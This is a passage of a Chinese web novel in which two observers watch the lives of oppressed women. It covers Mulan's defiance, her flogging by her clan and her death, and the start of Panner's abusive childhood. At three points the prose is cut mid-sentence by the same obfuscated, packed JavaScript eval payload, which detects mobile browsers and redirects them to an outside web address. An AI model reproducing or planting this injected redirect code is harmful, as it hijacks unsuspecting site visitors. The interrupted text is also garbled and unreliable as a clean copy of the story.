此话一出,即引来一片质疑: “你讲的跟牧师所说根本不一样嘛。” “洋人的事,你一个只在国外呆了几年的,哪有土生土长的洋人懂?” 众人纷纷质疑,年轻的助教涨红了脸,不知如何反驳。 “我说你们都不对!”一个高昂的声音走近。 此音一出,原本尚在争论的众人尽皆止住了声音,看向来人。 “凌老师!”木兰惊喜地喊了出来。 凌老师没有成家,素日就住在学堂教工宿舍中,闲来无事时,也经常来听上一嘴学生们的谈话,时不时发表两句点睛之语。 她慢悠悠走来:“人类是几万年前,从猿猴演变过来的。你们有人相信东方神话,有人信奉西方传说,我便不同了,” 她慧黠地一笑:“我只相信赛先生。” “好!”学生们纷纷信服,鼓起掌来。木兰顿觉茅塞顿开,这样的情绪自木兰身上,传到了姜姚心中。 【欣喜之余,姜姚叹了一口气:“木兰身处如此活泼昂扬的氛围中,再也不用受娃娃的苦,一辈子闭锁在庭院之中,逼仄压抑地过完一生。娃娃小时候那么爱说爱笑,若是生在此时,也会成为他们中的一员吧。” 女娲道:“我只自直播中,看到了娃娃她们几个人的悲惨人生,可我知道,女性受压迫之路无比漫长,像她们一般满身血泪的女性,何止万万亿。在这个时代,整个社会都遭遇巨大冲击与变革,女性身上的枷锁才终于开始卸下。我只遗憾,这样的时刻来得太晚,女性所受磨难的时期太久。”】 在学堂里,大家聚在一起,学习英语,学习历史,谈国际形势,歌颂人民与自由,讨论科学与民主。这些,全都是木兰从未听过的事。可她却觉得,她本来就应当是这个群体里的人。 一晃几年过去,木兰升入了中学部,从自由研讨会中的小木兰,变成了研讨会骨干之一木兰姐姐。她各科成绩优异,在数学上尤其拔尖,解题思路每每总是想在老师前头。 凌老师仍每年向她父母送钱。木兰在课业之余,常常去往凌老师家,帮她做饭洗衣,以报知遇之恩。 每升入一个新年级时,木兰身边总会少几张脸。有的是因为出国留洋,有的是因为家境贫苦,无力承担学费,有的则是因为被家长领回家嫁了人,从此不再抛头露面。木兰的年级越来越高,因嫁人而消失无踪的女同学越来越多,她心中的阴云也越来越深。 终于,她自父亲口中听到那句话时,一直以来萦绕在她心头的阴云终于见了天日。 “木兰,今天东街赵掌柜来提亲,我答应了。这可是门打着灯笼找不着的好亲事,你今天开始就别再去上学了,在家收拾收拾,等婚期吧。”父亲道。 木兰道:“我不嫁。” 父亲的脸一下子拉了下来,木兰毫不躲避地与他对视。 母亲干巴巴笑了一声,缓和了一下剑拔弩张的氛围:“怎么,舍不得爸妈吗?早嫁晚嫁都是嫁,不如趁着年纪没那么大,有挑剔的余地,找个好人家,赶紧嫁了才是。” 木兰直截了当道:“凌老师的钱,不是一直有送到你们口袋里吗?” 父亲听出了言外之意,生气地说道:“我不可能为了凌老师那点钱不让你嫁人,把你一辈子毁了。我不干那卖女儿的勾当。” 木兰道:“若说卖女儿,强逼着自己女儿嫁到一个素未谋面的男人家里,才更像是卖吧。” 父亲火气更大了:“你别觉得上了几天学,翅膀硬了,家里就治不了你了!” 母亲皱起眉头:“你总归要迈出这一步,我是这么过来的,你姥姥也是这么过来的,从古到今,哪个女子都是这么过来的。” 木兰道:“从古到今皆是如此,从今往后便一定如此吗?从古到今还一直有皇帝呢,不也是说没就没。” 母亲摇了摇头:“你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231381|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,什么都不懂。等你过了年纪,成了老姑娘,嫁不了人,就懂妈是为你好了。可那时候,一切全晚了。” 木兰反驳:“凌老师三十多岁了还没结婚,不也活得好好的?” 母亲笑了笑,带着点不屑:“她背地里偷着哭你知道吗?我看,就是因为她当了老姑娘,才想把你也拉下水。” 木兰冷冷说道:“凌老师对我如何,我自己知道。不想这么早嫁人也是我自己的意思,跟任何人都无关。” “你自己的意思?”母亲突然抓到了字眼,狐疑地看着她,“你们那学堂,男男女女都在一个屋子里朝夕相处,你不会私自看上什么男人了吧?” “没有。”木兰矢口否认。 母亲盯着她的眼睛,见她眼神的确没有躲闪,才松了一口气。她转头劝父亲:“在木兰出嫁之前,就先让她多上会学吧,反正只要等她嫁过去了,咱就管不着了,婆家有的是法子治她。” “好吧,好吧。”父亲不耐烦地摆了摆手。 【“太典了。”姜姚道,“女娲,你不知道这段对话有多经典。直到现在,几乎每个成年女性都会与父母发生类似的对话。千百年来,没有任何变化。” 女娲道:“至亲之人句句好意,步步紧逼,许多女性恐怕就是如此做出了违心的选择。”】 木兰没有多在家呆一刻,立即收拾东西,奔赴学堂。她的目的地,是学堂后院一棵大榕树,她要在那里等一个人。 她骗了母亲。 她确实在学堂里遇到了自己的意中人,是那位与她在研讨会上争执过无数次的助教。助教现在已经成为了她的国文老师,只是,私下里,她仍旧习惯称之为助教。 她与助教是截然相反的两种人。 她擅理,精通算术,对数字十分敏感;助教则尚文,精通中外历史,喜好咬文嚼字。 她性格理智沉稳,细致严谨,极有主见,做事喜欢规划各种可能性,从中找出最优解;助教则生性感情充沛,浪漫随性,说话做事常凭一腔奋勇。 助教有着她所渴望拥有的一切:开阔的眼界,风雅的生活,自在的心灵,诗意的生活。木兰不明白,为什么普普通通的一件事物,经过助教的言语润色,就能够呈现得那么美。 他们在日复一日的相处中,思想不断碰撞,情愫亦如思想一般肆意生长。 他们开始不满足于仅在自由研讨会上见面,这棵榕树,便是他们常常相会的地方。每次离家返校时,他们总会在这里见上一面,缓解相思之苦。 木兰独自站在榕树下,思绪连篇,脑中规划了无数种可能。或许,他们可以私奔,等家里这门亲事黄了,再回来继续上学。亦或许,如果她的意中人愿意,可以上门同她父母提亲。 她想了许久许久,终于见到助教走来。 她正要开口讲自己被家里逼婚一事,却见助教心事重重。她耐心地等了许久,终于听助教说道:“我要娶亲了。” 15. 新风 木兰的心一下子沉了下去。好一会儿,她才消化了这个消息,艰涩地问道:“和谁?” “……家里安排的。” 木兰不解:“可是,你不是说,最为厌恶父母之命,断不会接受家里人的安排吗?” 助教沉默了一会儿,才沉闷地说道:“父母生我养我,我纵心有百般不愿,也只能听从命令。” “好孝顺啊……我从前怎么没有发现,你是如此注重孝道之人。” 见助教低着头,全然接下嘲讽,没有反驳一句,木兰心中的失望越攒越深。 她收起嘲讽,试着挽回:“我们可以走,到外面避个一两年风头,再回来时,你的亲事多半已经不作数了。” 助教抬起头来:“走了之后,我们能做什么?” “你去找别的学校教书,我去找家店铺做账房。天涯海角,哪里不能活。” 助教复又陷入沉默,许久才说道:“木兰,你还太小,没有讨过生活,不知个中艰辛。” 木兰心中窜上一股火:“我不知道,你一个成年这么久了还从家里领钱的人,又比我知道多少?” 助教辩解道:“我从家里领钱,是因为仅靠教工薪水根本不足以维系生活。我想让你以后过上足够优越的生活。” “如此说来,罪魁祸首竟是我了。那么,今后你离了我,便无需背负什么优越生活的目标,可以独自过活了吧?” 助教拉住木兰的衣袖:“别说气话,我不会与你分离的。” 木兰凌厉地甩开:“你都要娶亲了,何须再说这种鬼话?难道你想家里一个,外面一个,像学堂里其他那些先生一样吗?” 助教涨红了脸:“我不是那种人。家里安排的那个女子,我连见都未曾见过,听闻还裹着小脚。你知道的,我对缠足厌恶至极,几番痛斥,根本不可能碰她半分。我心里一直只有你。” 木兰迷惑道:“你有何立场责怪她?缠足一事并非她可以选择,嫁入你家亦是如此。” “我不是想责怪谁,我是想说,我已经心有所属,再看不见旁人了。” 木兰长哦一声:“你素日爱写众生之苦,可是,当悲苦之人真的在你面前,你反倒看不见了。难道,你的眼睛,只看得到远处虚无的苦难,却看不到眼前的吗?” 助教没有话说,复又低下了头。 木兰最后说道:“与其将原因推给他人,你不妨问问自己,若是有那胆魄逃离家里,还有人能绑了你拜堂不成?你心里清楚,你不过是舍不得那优渥的生活,不愿从此与你看不起的民众一般,俯下身子讨生活。” 助教全盘接纳了木兰所有的控诉,弱声弱气道:“对不起,木兰。” 木兰摇头:“你没有什么对不起我的。我反而要谢谢你。今日,你提醒了我,不能再一直活在幻想的世界当中了。” 【姜姚道:“说到幻想,我生活的时代,最近流行一种新的说法,爱情在男性身上并不存在,只不过是女□□上了自己的幻想。” 女娲想了想:“也有一种可能,是女性自己说服自己,强迫自己爱上幻想。不然,人生之路惨淡漫长,实在是过于煎熬。”】 木兰转头离去,漫无目的地向前走。前方,人群聚集,她好奇地走过去,钻到人群里层,见人群包围着的,是一个经常与她在研讨会上交流的女生。此时,她手上正拿着一把剪刀。 木兰心中大感危险,刚要出声提醒,却见女生另一只手解开头绳,拈起一撮头发,信眉说道:“清朝灭亡之后,男子纷纷剪掉了脑后的大油辫子,可女子却还被迫留着这一头长发。既然在这个时代,我们女子能上学,能工作,与男子没有什么不同,剪去头发又有何不可。我今天就要当这个第一人,在大家的见证下,剪去这头长发,表明女子向往自由之心。” 围观人群当中传出声音来:“你可得想好了。剪辫令针对的是男子,可从没有哪一条法令说,女子也可以剪发。” 女生笑了笑:“也没有哪条法令规定人要吃饭喝水呢。” 也有人道:“你要表达自由,什么办法不行,偏要采取这样极端的方式。” 女生脸上仍旧挂着笑容:“只是剪掉一截不痛不痒的头发而已,若这样都是极端,世上便无温和之事了。” “谢谢各位同胞的提醒,”她将剪刀张开,对准自己的头发,“我剪了。” 她的食指与拇指轻轻一扣,合上了剪刀的两刃,将自己脑后的头发剪了下来。 “好!”人群中响起欢呼和掌声。 木兰呆呆地看着女生,见那一头干净利落的长发飘荡在空中,短发的女生,是木兰从未见过的英姿飒爽。 热血自她胸口涌起,沸腾而上。她走到女生面前:“我也要剪!” 女生喜出望外,将剪刀递给木兰。木兰两根指头一并,满头长发纷纷落地,将她心中繁杂的烦恼一并带去。 很快,人群中涌上来其他女生,剪刀在每个人手中传递,将她们的头发一把剪掉。 人群散去之后,木兰与众女生留在原地,清扫断发。 一个女生闲聊道:“剪了一头短发,这下,再也不怕家里给我安排亲事了。” 旁人调侃道:“哪家听说你是个短发女,跑都来不及呢。” 木兰心中希望重燃。这头短发,想必会给她带来意想不到的收获。 短发很快在女学生当中流行了起来。半月之后,木兰按照惯常返回家中,满心想着,爸妈看到她顶着这头短发,恐怕当场便会取消她的那门亲事,唯恐她给家里丢脸了。 出了学校,街上短发的女子便见不到几个了,有许多路人盯着她直看,眼光一个比一个怪异。她一路高仰着头,不畏惧任何人的目光。 木兰一进入家门,看见父亲如同往常一般,还未看清来人,脸上便已堆满了热络的迎客笑。等看清木兰的那一瞬间,他的笑容却瞬间凝固了:“你头发呢?” 木兰爽快道:“全剪了。” 父亲一把将算盘朝着木兰摔过来:“你这是灭祖!族法不容!” 木兰急忙躲向旁边,避开了飞盘。虽然面色不变,但她第一次见父亲发这么大的火,心里着实吓了一大跳。 缓了一会儿之后,她才说道:“男子可以剪辫,女子为何不能剪?” 父亲怒道:“母鸡要能打鸣,这世界就全乱套了!” 母亲听到动静,抱着弟弟从里屋走出来,见到木兰的样子,惊恐不已:“你这幅样子,被多少人看到了?” 木兰不知母亲为何如此惊恐,如实说道:“回家的路上,见到了不少人。” 母亲双腿打了个软,木兰忙上前搀扶,被母亲一把拉住了手:“我们去姥姥家躲几日。” “躲什么?” “族法!族法明令禁止女子剪发,你是个女孩子,素日里不参加族会,才不知道这些。我们快走,不然族长来找,麻烦就大了。” 母亲拉着木兰,刚走了几步,就听父亲厉色道:“不准走!” 母亲被父亲的吼声吓地僵在了原地。 父亲道:“没了族里人的帮衬,我这店开都开不下去。我带着你们找族长去!” “不用找了。”门口,一个身着长衫,鬓边花白的男人拄着拐杖走了过来,后面还簇拥着一群健壮的男人。 木兰只见过这位族长几面,此前曾经听父亲自豪地说过,这是个人脉颇广,手眼通天的人物,族中人办事联络都得通过他。 他进门后,第一眼看向了木兰,随即眯了眯眼睛:“竟然是真的!真有女人不顾族法明令禁止,剪了头发!” 母亲将木兰护在身后,木兰却走上前:“族长,剪辫运动早已开展了几年,我剪去头发,有何不可?” 族长将自己的手杖向着地面咚咚撞了几撞:“剪掉头发,那是男人才能做的事。女人怎么能跟男人一样!” 木兰坦然道:“女人既不能如男人一般入族谱,族法又怎么能约束女人呢?” “不管入不入族谱,没出嫁前,你就是族里的人!你知错吗?” 木兰久久不语,母亲在旁急道:“快认错。” “我没错。”木兰道。 “好,好啊。”族长抚着自己的胡须,笑眯眯道,“既如此,可不能怪我上族法了吧?女子不守族法,背祖弃宗,按照族法,当杖责三百,示众三天。” 木兰不服:“敢问族长,族法是哪部法,是何人所著,有无官方效力?” 族长轻蔑一笑:“你一个女娃,别以为多读了几本书,就能拿法律压我。自古以来,改朝换代的事多了去了,可不管哪朝哪代,家族传承从来不会断。就算你上了洋学,会说几句鸟语,只要你是你老子生的,族法就能治你!” 族长身后的男子一拥而上,将木兰拉向门外。 “你们干什么!”母亲上来与那些男人搏斗,却不敌人多势众。那些人仍然带走了木兰,母亲只能苦苦追在身后。 弟弟吓得大哭,歪歪扭扭地走向前:“姐姐!” 父亲一把将弟弟抱了起来,哄道:“姐姐过几天就会回来了,别怕。” 木兰被带到了人来人往的集市上。族里的人全部都被召集过来围观,众人窃窃私语: “还上什么新学堂,上了一顿,上出这种东西来。” “脚也不裹,头发也不留,现在的年轻女娃啊,半点都不像话。” “头发那么短,脖子露出那么长一块,肩膀都要看到了,真不害臊。” “唉,看这娃也老大不小了,以后可怎么嫁人啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231382|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在人群中央的族长意气风发:“不守族规,族法伺候。杖责三百,不水不食,示众三日。” 围观众人中,不少人面露不忍,族长自是察觉到了,补充道:“念在她是小辈的份上,杖责减去二十罢!” 立即有人拥护上来:“族长可真谓宅心仁厚啊。” 【“族长何来如此大的权力?”女娲不解,“现在并不同于九娲的时代,人生活在整个人类社会之中,并不再局限在部落之内了,族长并不是部落首领,何来这般号召力?” 姜姚道:“许多地方讲究宗族传承,认为父与子、父与他父之间有着无比牢固的链接,凭借此抱团,在社会上谋求利益。到现在,也能见到不少热衷此道之人。”】 一下一下的长棍打在身上,木兰忍受着痛苦,抬起头来,死死地盯着族长。她的后背隐隐渗出血来,盯着族长的眼睛也变得通红。 族长心中竟生出一股被猛兽盯上的惧怕,试着让步,对木兰道:“你现在认错,棍责不可免,但示众之期便可缩短为一日。” 木兰轻蔑一笑。 “快认错,快说啊!”母亲在一旁急道。 “我根本没错,要认何物呢?妈,你放心,我既能熬过一日,便不差那两日。” 母亲不再说话,哀伤地蹲在木兰身边,握住了她的手。 族长受不住木兰的目光,转身离去。木兰转而看向围观的众人。他们有的害怕不忍,有的面带兴奋,有的则大喊爽快。 或许,她应该恐惧、求饶、忏悔,对着族人承认她的错误,好让他们知道,族法是真的能逼迫人认错,真的能阻断她前进的脚步。 可是,她不愿。她此生所愿许多,不愿之事却并不多。而她可以接受所愿无法实现,却固执地不接受半分不愿之事。 一张张人脸映入她眼中,形成了一道道光怪陆离的幻影。直到杖责结束,她被绑到一棵大树上,围观之人早就稀稀拉拉回家之时,这些人影仿佛还印在木兰眼中。 此夜无月,天地间漆黑一片。母亲紧紧抱住木兰:“熬过这一夜,熬过去就好了。” “36987543。” 听到木兰口中传出一串数字,母亲问道:“什么?” 过了一会儿,只听木兰口中又报出一串数字:“333.18……6.93。” 母亲虽然不知她所念为何,但也明白,木兰是在用什么数字游戏抵御难忍的疼痛,消磨难熬的时光。 母亲静静地听着,直到木兰的声音渐渐减小,最终消失时,她将外套裹在了木兰身上,守在她身边,一夜未睡。 太阳还未升起,集市上便聚集了许多摊贩。 木兰自凉夜之中醒来,第一眼便见到了母亲脸上浓重的黑眼圈。她心中终于涌上一丝浓厚的悔意:“妈,我不该连累你。我要向族长认错。” 母亲喜极而泣:“哎,哎,好孩子!” 她很快去叫来了族长。 在当面听完木兰的认错之后,族长得意道:“示众之日改为一日一夜,今天下午三点之后,你就可以走了。” “谢谢族长,谢谢!”母亲对着族长的背影连连感谢。 今日的太阳很大,烈日灼灼,毒辣的光芒照在身体上,像是要将人烤干一样。 木兰后背仍在渗血,嘴唇干裂开来:“我好渴……水。” 母亲在旁边给木兰擦了擦汗:“不行,谁都不能给你送水,大家都看着呢,再撑过两个小时就没事了。你再忍忍,再忍……” 母亲的声音戛然而止。 她看见,木兰脸上肉眼可见地迅速失去血色,一秒比一秒苍白。而在她背后,先前自伤口流出,沾在树干上而不得见的暗红血液,此刻越积越多,沿着树干流了下来。 母亲心中无比惊慌,对着人群大喊道:“有没有人给我杯水!” 围观众人很多,但却没有一个人应答。 母亲慌忙脱下外衫,盖在木兰头上:“好儿,你忍忍,我回家给你找水!” 她急速向着家中的方向走去。 【姜姚心中焦急不已:“木兰的意识已经开始模糊了。她能挺过去吗?” 女娲不语,半晌,才默默地摇了摇头。】 木兰的神识越来越恍惚。她的思维有些飘忽,一会儿好像回到了学堂,正在听凌老师讲课。一会儿似乎还在街上,看到官兵捉小脚女子。 她迷迷糊糊地想着,时代的新风吹过大地,可却似乎更喜爱吹拂男子发顶。男子喜迎解放之时,女子却是半放半束,仍面临着诸多压迫。 将来,会不会有一天,女子能卸下身上诸多有形无形的枷锁,可以作为人,而不再作为世人口中的女人生活呢? 会有那么一天吗? 木兰的头垂了下去。 16. 旧印 姜姚醒来时,嘴中仍是干涸不已,带动着身体如同皲裂的大地一般,干硬得无法动弹半分。直到泪水自脸颊滑落至嘴角,那股咸涩如落入地缝的第一滴水一般,涌入她的味蕾之中,她的身体才动了动。 她拭去脸上的泪水,茫然道:“木兰怎会是这样的结局?明明,她只要能活下去,便一定会造就光辉灿烂的一生,史书上会留下这位数学家的名字。她不会如现在这样,在烈日之下,籍籍无名地死去。” 女娲叹道:“人只要活着,便有无限的可能。一旦生命被剥夺,所有可能都会被掐灭了。只是,如果真如你所说,木兰能够继续活下去,她便真的不再会经历困苦,能够造就圆满人生了吗?” 姜姚想了想:“她有可能死在日本军的屠杀轰炸中,有可能在恶劣的医疗条件下染病,也有可能在饥荒或浩劫中死去。近代太过动荡,人若想安然一世,并不容易。” 女娲道:“所有人类都在承受着动荡与混乱之时,女性还要多承担一层无法离身的枷锁。这样的枷锁,杀死了木兰,一定也杀死过像她一般千千万万的女性。” 姜姚心中悲切不已:“将一个个杰出的女性绞杀之后,人们还会反过来嘲弄女性当中的有成之人不如男性多。无人知晓木兰所思,她就这样淹没在了历史长河中,再也无处寻觅。” 女娲轻轻拍了拍姜姚:“或许,时代更迭之后,不会再有这样难过的事情发生了。与其让悲伤占据自己的身体,不如,我们前往下一个时代吧?” “好。”姜姚含泪道。 迎接姜姚的,是一声声脆亮的哭声。这次的直播,重新从婴儿时期开始了。 从女婴的视角,姜姚看到了暗沉的光线,破旧的房间,塌了半面的墙壁。这位女婴的生存环境,比之前直播的几位要差得多。 女婴的母亲正躺在血与汗中,喘着粗气,眼睛一眨不眨,直勾勾地盯着棚顶。除了正在她腿间哭喊踢蹬的婴儿,她的身旁并没有第二个人。 【“父亲和其他家属呢?让产妇与婴儿自己在家,她们会有性命危险的。”姜姚急道。 女娲眉头紧锁:“这个母亲的精神状况,似乎有些异常。”】 就在此时,房门有了些动静,一个肤色黝黑,满脸皱纹的老农夫紧张地从屋外跑进来。 看来,是女婴的爷爷或者姥爷来了。姜姚正准备松口气,却见躺在床上的母亲身体抽搐了几下,迅速起身,将婴儿抱了起来,紧紧地捂在怀里。 母亲抱得实在太紧,女婴的口鼻全埋在了她的肌肤中。空气正一点点被夺走,窒息感铺天盖地涌来,仿佛立即就要将姜姚推回虚空之境中。 “疯婆娘,松手!” 农夫一把将女婴从母亲怀中夺了出来,把她推回血红的被褥中。 “女,女,留!”母亲张口,费劲地吐出这几个字来。 姜姚这才确信,这位母亲神智真的有些问题。 老农夫坐在炕边,提起女婴,检查了一下她的身体,神情凝滞,陷入了沉默。 母亲仍旧喃喃地重复着一个字:“留,留,留……” 农夫将女婴放下,点起旱烟,抽了好一会儿,才说道:“最近没有人家配骨,以后,就叫她叫盼儿吧。” 姜姚这才明白过来,这个老到看起来能当母亲的父亲的男人,却是女婴的父亲。 父亲取完名字,便起身向外走去。母亲高兴地抱起盼儿,嘴里不住说道:“盼,盼,盼。” 【“她的名字,在父亲眼中,侧重于儿。而落到母亲眼中,就成了盼。”姜姚道。 “配骨……”女娲正在运用自己的翻译能力,理解这个词的含义,“将死去的女儿卖到亡男家里,缔结冥婚?” 姜姚无力地应道:“是。吃女性的方式太多太多了。剥夺名字,剥夺权利,剥夺生命,甚至连女性死后,都能在她的尸骨上榨出最后一滴油来。”】 盼儿自从能够出门开始,便能迷迷糊糊感觉出,村中似乎处处流淌着针对她的恶意,大人们看着她的眼神带着掩饰不住的嫌恶,孩子们也总是变着花样打骂欺凌她。 她从村民们的口中,拼凑住了自己的身世。父亲是穷得叮当响的老光棍,母亲是四处流浪的痴傻女,流落到村里时,让父亲扣下,关在家里生孩子。先前,她生过两个女儿,都没能活下来。 每当盼儿在外受了欺负,回家告诉父母时,母亲总是悲伤地看着她,说不出任何话来,父亲则总是会听了盼儿转述的骂人话语时,二话不说动手打她。 盼儿恨让自己备受欺辱的父母,但对父亲的恨要少一些。因为,父亲至少能够在外面行走,可以提供给她一点点雪中送炭的庇护。 具体而言,在一群孩子围着她打,父亲正好经过时,那些孩子在看到大人来了,会一哄而散。只在这个时候,盼儿才能感觉到,自己与睡在村头垃圾堆里,人见人打的野狗有着些许不同。 而对于母亲,盼儿是全然的憎恨。尽管母亲不打盼儿,还喜欢抱着她,可盼儿却觉得,她人生中大多灾祸是拜这个疯子妈所赐。她总是躲避母亲的触碰。 一个念头在盼儿心中渐渐确立:父亲对她更好,她更应当去讨好父亲。 被欺负久了,没有大人救她,盼儿学会了自己给自己出头。在小孩们围着她打时,她会找准一个看起来弱些的,不要命般地回击。她靠着这个办法,为自己解了许多次围。可更多时候,往往是被赶来的大人继续打。 她在与全世界的对抗中艰难度日,跌跌撞撞地生长。 父亲日日叫着盼儿的名字,并以这两个字虔诚表达着自己的心愿,终于,在盼儿五岁那年,真的盼来了儿子。 可是,这个儿子,全然继承了母亲的痴傻。饶是如此,父亲仍是每每抱着孩子大笑不已:“我有后咯!” 盼儿也很高兴。从前,有好多零食,她只在同龄孩子手中见过,有了弟弟后,她终于可以跟在弟弟身后吃到了。每次抱着弟弟,弟弟傻笑的涎水流到她手上时,她也不嫌弃了。 很快,她的心中多了一个念头:弟弟让她的生活变得更好,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231383|197625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应当感激弟弟。 于是,她给自己立下了在家庭中生存的法则:讨好父亲,感激弟弟,远离母亲。 一年后,她开始上学。破旧的衣服、满是洞的鞋子让她在班上也如同在村子里一样,成为了同学欺压的对象。 男生们将沙子撒在她的头发里,将毛毛虫扔到她的衣服里,将她的书本撕碎踩烂。老师见到时会制止,却也仅止于此,并无多余动作。 日复一日的惨烈生活,竟然在书本中得到了改观。盼儿头脑意外地好,学习成绩遥遥领先,换得老师同学们的另眼相看。 “你们一家四口的脑子,全长你一人身上了。”班主任评价道。 优秀的学习成绩带来了老师的庇护,盼儿渐渐不那么受欺负了。可是,弟弟上学后,他的日子却没那么好过。 对付一个学习成绩差的痴傻孩童,孩子们欺压的手段只会变本加厉。每到课间,盼儿总是第一个冲出教室,不是为了问问题或者去厕所,而是为了冲入弟弟的班里,将那些折欺凌辱他的人驱散开。 上了初中,盼儿的身体开始发育。父亲扔给她一块布条:“以后,你带着这个,把你那难看的胸膛勒平了。” 盼儿不明白:“为什么要这样?” “小小年纪别多问,照做就是了。” 盼儿试着将胸部勒平,窒息感让她难受地哭了出来。 父亲一脚踹倒她:“搁以前,女人连脚都要勒的,现在只勒个胸膛罢了,少掉□□尿。” 后来,盼儿观察,村里除了嫁过来的妇人,没有人的胸部是鼓起的。原来,所有的女人都在暗地里束紧了胸膛,父亲说得对,大家都这么做,也都好好的,她根本不应该哭,也不应该疑惑这到底是否正确。 【“他们不允许女性特征外露,对女性的歧视延伸到了与女性有关的所有。可恨。”姜姚愤愤道。 女娲亦是不平:“缠足没有了,束胸却还保留了下来。而这个父亲,反过来以缠足之痛论证束胸之由。女性曾经遭遇的磨难,竟然成了他们现在仍要折磨女性的理由。”】 盼儿期盼着在衣带的束缚下,她的身体能够发育得慢些。可是,身体的发育远不至于此。当她的裤子被汹涌的鲜血染红时,她的心中无比惊慌。 她并不惊慌于这血本身。母亲痴傻,不知清理自己,盼儿无数次看到过,母亲身下鲜血淋漓,知道那是每个女人都会有的月事。 她慌的是,这满裤子的血,不能让父亲看到。一放学。她便急急跑向家中,想赶在父亲之前回家。 可没想到,父亲早她一步下地回家,看到了她一裤子的血。父亲手上的铁锨当即就朝着盼儿身上打了过去:“憋不住屎尿的东西!你老子的脸就是叫你丢没的!” 一下重过一下的铁锨落在盼儿身上,她被打得趴倒在地。她抬头,撞见弟弟在一旁痴痴傻傻地笑着。 她心中骤然涌上一股无力感。她曾经无数次将弟弟从围困中解救出来,可如今,她在挨打时,谁来救她? 谁来,救救她? 17. 旧印 铁锨打在肉上,发出一声又一声的闷响,掀起一下接一下的剧痛。闷响又一次响起,这一次,疼痛却没有伴随而来。 盼儿怔怔地抬头,竟见那从来未曾出过房门的母亲,不知何时来到了院里,挡在了她面前。 “别,别打!”母亲磕磕绊绊地说道。 她的身体不住颤抖,却仍颤颤巍巍地立在原地,挡在盼儿面前。盼儿第一次觉得,她坚持了许多年的家庭生存法则,似乎并不是那么正确。 “你怎么下来的?!绳子呢?”父亲朝母亲大吼。 盼儿找了找,见绳子仍在母亲腰间环绕着,但末端已经断了,掉到了地上。断落之处非常细,像是被什么力量拽断的。 父亲又举起了铁锨,朝着母亲而去。盼儿一骨碌爬起来,抬起一脚,踹开了父亲。 她拿起一旁的铁锨,将锨头刺到父亲眼前:“你是我爹,你打我,我不还手。可你要再敢打她一下,我会在你身上十倍找回来。” 父亲倒在地上,惊慌地看向盼儿,几乎要把头缩进脖子里。 盼儿垂着眼睛,居高临下地看着父亲,似乎是第一次发现,他年迈的身形如此佝偻:“从今以后,你在家里作威作福的日子结束了。” 她回过头来看向母亲,看见套在母亲腰上的那一圈粗绳,磨破了她单薄的衣服,直刺入肉中。 盼儿比谁都清楚,以母亲的神智,根本做不出拽绳子这样的高难度动作。刚才,母亲一定是拼命想要跑过来,只知道向前,却一直被绳子拉住,僵持了许久许久,终于,绳子不堪重负,先行断掉。 在此过程中,绳子将她腰间的肉磨得鲜血淋漓。 盼儿扶起母亲,给她上了点红药水,包扎好,又出门采了许多树叶,擦干净后,递给了母亲:“下次,你下身流血时,就拿这个垫着。” 母亲接过叶子,小心地抱在怀中,重重地点了点头。 盼儿眼角一酸:“妈。” 母亲愣住了。这个字,她已经好多年未曾在盼儿口中听过了。 盼儿急忙笑起来,止住了要落下来的泪水:“这些本来应该是你的妈妈教给你的,反倒要闺女教了。” 突然,她愣了一下:“妈,我好像从来没听你讲过,你的妈妈,我的姥姥,如今怎样了?” 母亲一动不动,许久,突然蹲在地上,呜呜哭了起来。 度过了慌张的青春期,盼儿就要中考时,却被父亲叫了回来,说给她找了亲事,让她嫁人,不上学了。 盼儿在家待了几天后,班主任来到了家里,劝说父亲:“盼儿考上中专,将来挣钱给家里补贴,你脸上不是也有光嘛。” 父亲却道:“她一个早晚要嫁出去的人,是不会想着家里的。她要真能混的好,能看得上她的庄户爹疯子妈吗?我以后养老,靠的是我儿子。” 老师苦劝良久,还是没能劝动父亲,转而问盼儿:“盼儿,你想继续上学吗?” 盼儿看了看老师,低下头,过了一会儿,又抬头,看了看怒容满面的父亲,又看了看一脸茫然的母亲。 她拿不了主意,低头道:“我听爹的。” 她从小就告诉自己,只有父亲会庇护她,她要听父亲的话。那次,她为了保护母亲,顶撞了父亲,后面,父亲不再打母亲了,她便又回归了之前的做法,继续听父亲的话。 要跟以前一样,不可以回头。否则,她这十几年的人生,岂非全是错误? 老师看了看缩在炕角的母亲,苦口婆心道:“盼儿,你知不知道,对于我们女性来说,为他人牺牲自己的机会,以后多的是。趁现在,你还在校园里,还能为自己而活时,老师不希望你这么早就被别人绊住脚步,提早走上燃烧自己的道路。” 父亲毫不客气地将老师赶了出去。 